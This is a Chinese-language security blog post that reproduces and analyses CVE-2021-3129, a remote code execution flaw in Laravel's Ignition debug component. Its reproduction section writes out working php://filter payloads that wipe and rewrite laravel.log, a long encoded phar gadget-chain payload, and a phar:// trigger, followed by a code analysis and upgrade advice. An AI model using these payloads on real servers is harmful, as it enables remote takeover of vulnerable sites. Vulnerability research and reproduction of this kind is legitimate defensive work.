> 本文由 [简悦 SimpRead](http://ksria.com/simpread/) 转码, 原文地址 [mp.weixin.qq.com](https://mp.weixin.qq.com/s/pXcdaW62VaUd16DIXqvauQ) **上方蓝色字体关注我们,一起学安全!** **作者:****Xz&hatjwe****@Timeline Sec ** **本文字数:5952** **阅读时长:10~11min** **声明:请勿用作违法用途,否则后果自负** **0x01 简介** Laravel 是一套简洁、优雅的 PHP Web 开发框架 (PHP Web Framework)。它可以让你从面条一样杂乱的代码中解脱出来;它可以帮你构建一个完美的网络 APP,而且每行代码都可以简洁、富于表达力。 **0x02 漏洞概述** **编号:CVE-2021-3129** 当 Laravel 开启了 Debug 模式时,由于 Laravel 自带的 Ignition 组件对 file_get_contents() 和 file_put_contents() 函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意 Log 文件等方式触发 Phar 反序列化,最终造成远程代码执行。 **0x03 影响版本** Laravel 框架 < 8.4.3 facade ignition 组件 < 2.5.2 **0x04 环境搭建** 1. 从 github 上获取代码 ``` git clone https://github.com/laravel/laravel.git ``` ``` $ cd laravel $ git checkout e849812   # 切换有漏洞的分枝 $ composer install   # 利用composer下载依赖库文件  $ composer require facade/ignition==2.5.1   # 下载存在漏洞版本组件 $ php artisan serve ``` 2. 将我们拉下来的代码放入 phpstorm 中,打开 laravel 的 debug mode ![](https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsjCgvCiakCbCacibeBxIMbLmyeEK6ibubOOqRdicnbv76m2wyHHMLVle8jMnvW5aDMUTTUA3Pnqr0NbOw/640?wx_fmt=png) 3. 运行 phpstorm 刚开始我们的页面是需要获取 appkey 的 ![](https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsjCgvCiakCbCacibeBxIMbLmyM3icibDGJljnCsWwU4eibItSmd6hPI6Z52cGqSMmAE9LicAPAzQxaogmqg/640?wx_fmt=png) 4. 我们在根目录下将原有的. env.example 文件改名为. env 运行 php artisan key:generate 创建 appkey 重新运行 ![](https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsjCgvCiakCbCacibeBxIMbLmyia2HVG7hFm36ug5w4yvM0eEicWNO9Zib96uDGCjqmialV7lSZU1YKTampw/640?wx_fmt=png) 5. 这里我们还要在 resources\views 中添加一个自定的 hello.blade.php 内容如下 ``` {{$username }} ``` 6. 再配置路由, 在 routes\web.php 中添加如下内容: Route::get('/hello', function () { return view('hello'); }); ![](https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsjCgvCiakCbCacibeBxIMbLmywROj5G3SZXcyUbubtzesNU3qpXia9ZWS4edhTcBMXsnYnW6jJVwaLVw/640?wx_fmt=png) **0x05 漏洞复现** 想要利用该漏洞需要有几个步骤: 利用 phpggc 生成对应的 phar 文件→清空 laravel.log → 将编码后的字符写入到 log 中→清除干扰字符→执行 phar 反序列化 一、利用 phpggc 生成对应的 phar 文件 我们可以通过在 laravel 的依赖里面找一条能够 rce 的链,如 monolog/rce1,生成对应的 phar 文件,并将 phar 文件 base64 编码 phpggc: ``` https://github.com/ambionics/phpggc ``` ![](https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsjCgvCiakCbCacibeBxIMbLmyKGAY8kRwYkI912oqACYvKfZn4344O0gicL8qEBel9We1pvwhMu5OVcw/640?wx_fmt=png) 再将该 base64 编码后的字符进行 convert.quoted-printable-encode 编码 ![](https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsjCgvCiakCbCacibeBxIMbLmyWWX53OrZ3SwdhyhhvGTsoqEIxmibhdLDB58Jb8jKXPYBXicuct8xb14A/640?wx_fmt=png) 二、清空 laravel.log 作者在文章中提出了使用 php://filter 中的 convert.base64-decode 过滤器的特性,将 log 清空。这里用大佬的 payload 清空日志 ``` viewFile: php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log ``` ![](https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsjCgvCiakCbCacibeBxIMbLmyBBrKicKcPUynKxczV9ibvRnjwJLudkWjV2buqaJiaO9QFxRcicqJvzV9GQ/640?wx_fmt=png) 三、将编码后的字符写入到 log 中 将 base64 编码后的字符进行 convert.quoted-printable-encode 编码后写入到 log 文件 viewFile:=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=72=00=5A=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=43=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=77=00=61=00=48=00=42=00=70=00=62=00=6D=00=5A=00=76=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=6D=00=4E=00=68=00=62=00=47=00=78=00=66=00=64=00=58=00=4E=00=6C=00=63=00=6C=00=39=00=6D=00=64=00=57=00=35=00=6A=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6C=00=4E=00=70=00=65=00=6D=00=55=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=54=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=49=00=37=00=63=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=68=00=62=00=47=00=6C=00=36=00=5A=00=57=00=51=00=69=00=4F=00=32=00=49=00=36=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=4D=00=61=00=57=00=31=00=70=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=77=00=63=00=6D=00=39=00=6A=00=5A=00=58=00=4E=00=7A=00=62=00=33=00=4A=00=7A=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=6D=00=4E=00=31=00=63=00=6E=00=4A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=4A=00=6A=00=59=00=57=00=78=00=73=00=58=00=33=00=56=00=7A=00=5A=00=58=00=4A=00=66=00=5A=00=6E=00=56=00=75=00=59=00=79=00=49=00=37=00=66=00=58=00=31=00=39=00=42=00=51=00=41=00=41=00=41=00=47=00=52=00=31=00=62=00=57=00=31=00=35=00=42=00=41=00=41=00=41=00=41=00=48=00=32=00=4D=00=42=00=57=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=48=00=32=00=4D=00=42=00=57=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=52=00=42=00=39=00=31=00=34=00=62=00=6B=00=38=00=70=00=6C=00=39=00=69=00=36=00=34=00=34=00=2F=00=4D=00=55=00=37=00=39=00=56=00=79=00=6F=00=35=00=6A=00=37=00=4B=00=41=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00 ![](https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsjCgvCiakCbCacibeBxIMbLmy2Q1nAnUIlvqFK20mXsMDqK0kxzJ0VPnicoXXa9orVEiabzfLUHW0l4aA/640?wx_fmt=png) 四、清空干扰字符只留下我们生成的 payload viewFile:php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log ![](https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsjCgvCiakCbCacibeBxIMbLmyicnJqAoknTwnD8hricP4EwPaNBkzAxdibFKxR6n5ywxJnlbZNxHoW340g/640?wx_fmt=png) 五、触发 phar 反序列化 ``` viewFile: phar://路径/storage/logs/laravel.log/test.txt ``` ![](https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsjCgvCiakCbCacibeBxIMbLmyYLWefH8Zb2EcWa7ozAhF2QI4DqGq7BdicID4ibf42w7ORLo2aHn6GX2Q/640?wx_fmt=png) **0x06 漏洞分析** 安装时特意安装的 ignition==2.5.1,所以漏洞其实就发生在 Ignition(<=2.5.1)中,ignition 默认提供了以下几个 solutions,通过这些 solutions 可以快速修复一些 debug,这也是漏洞的利用的起点 ![](https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsjCgvCiakCbCacibeBxIMbLmyNheAdOe3VbkBiaeK5DnZsyvYvUmRdS5CiaAa9E0kaUe5z2Npe1oUEOVA/640?wx_fmt=png) 从原文作者哪里得知漏洞出现在 MakeViewVariableOptionalSolution.php 文件中 ![](https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsjCgvCiakCbCacibeBxIMbLmypeAicTtwdWQotrFOS8Jibwyqv7uHbHdBHOumO9g7U2ODY7ibQdTsibCKTQ/640?wx_fmt=png)![](https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsjCgvCiakCbCacibeBxIMbLmyxEL5UZsvzw7CRRiczjqGYyD5BkuMlsyXiaSLl1tvHkqQOUFFcuChJCSw/640?wx_fmt=png) 我们先在 Debug 页面抓个包看看都有哪些参数 ![](https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsjCgvCiakCbCacibeBxIMbLmyUIFe1kYQPRAw28tkHzRx6kaFZx3W7dHqicLajhkBlxCmcUn0Txrqe7g/640?wx_fmt=png) 可以到有 3 个参数 solution:表示解决这个方法的类 parameters 下有 valirabelName:变量名 viewFile:变量名所在的位置 盲猜可控的参数就是 viewFile 了,我们看看源代码是怎么样的 ![](https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsjCgvCiakCbCacibeBxIMbLmyLkdew7QEo1znJe3G6YaXN7XWdic0hDFgZStoJwMMKHUIjDj3EFb7wBw/640?wx_fmt=png) 可以看到 run() 方法中把可控的 parameters 参数传了过去,这里可以调用到 MakeViewVariableOptionalSolution::run(),去看下源码逻辑与功能 ![](https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsjCgvCiakCbCacibeBxIMbLmy7XDbWSM36eAY1wG66EAiaT7ozkWfyXpRKoKjglO5keBpeEZ5cHcuhLQ/640?wx_fmt=png) 这里的主要功能点就是把 $variableName 替换为为 $variableName ?? ''并使用了 file_get_contents() 去读取了一个可控的路径参数,所以这里可以通过 phar:// 协议去触发 phar 反序列化 既然路径可控,那么首先想到的就是 log 文件,虽然 log 不能直接被当做 php 执行,但是有了 file_get_contents+phar 就可以;我们修改可控的 viewfile 参数后看看 log 中是什么样的 ![](https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsjCgvCiakCbCacibeBxIMbLmypeAicTtwdWQotrFOS8Jibwyqv7uHbHdBHOumO9g7U2ODY7ibQdTsibCKTQ/640?wx_fmt=png)![](https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsjCgvCiakCbCacibeBxIMbLmy6N0D8tVv7EA57CX8RhkF2kNz9vmQkibX3YmCKZcWB3onpjEmm1D2jqw/640?wx_fmt=png) ![](https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsjCgvCiakCbCacibeBxIMbLmyNJZGTCkYFibiagia3gINmBwHmqjG6FZXQZ4uS1vibsricefdj7xks9w769w/640?wx_fmt=png) 可以看到日志中写入了 3 次 test,那么怎么才能只保留我们最后的一个 payload 呢,作者使用了 filter 做了清空字符以及去除多余字符的方法。 **0x07 修复方式** 目前官方已在高版本中修复了该漏洞,请受影响的用户升级至安全版本 ``` https://github.com/laravel/laravel/releases https://github.com/facade/ignition/releases ``` **0x08 坑点** 1、生成不了 phar 文件是因为 php 配置的问题,需要将 php.ini 中的 phar.readonly 改为 Off 2、phpggc 工具的使用,建议去 kali 生成字符,window 可能会由于参数写法报错 3、对于清空 log,以及清除 log 干扰字符中的每个 filter 的详解,请看参考文章,这里就不复制粘贴了,原作者将的很清楚 4、在除去多余字符时有时候会出错只剩下一个’<’不知道何原因。 ``` 参考链接: ``` https://mp.weixin.qq.com/s/qTZ9WFFmATk3Hu3Sb9uQzA https://mp.weixin.qq.com/s/k08P2Uij_4ds35FxE2eh0g https://www.ambionics.io/blog/laravel-debug-rce ![](https://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsiaASAShFz46a4AgLIIYWJQKpGAnMJxQ4dugNhW5W8ia0SwhReTlse0vygkJ209LibhNVd93fGib77pNQ/640?wx_fmt=png) ![](https://mmbiz.qpic.cn/mmbiz_jpg/VfLUYJEMVshAoU3O2dkDTzN0sqCMBceq8o0lxjLtkWHanicxqtoZPFuchn87MgA603GrkicrIhB2IKxjmQicb6KTQ/640?wx_fmt=jpeg) **阅读原文看更多复现文章 ** Timeline Sec 团队 安全路上,与你并肩前行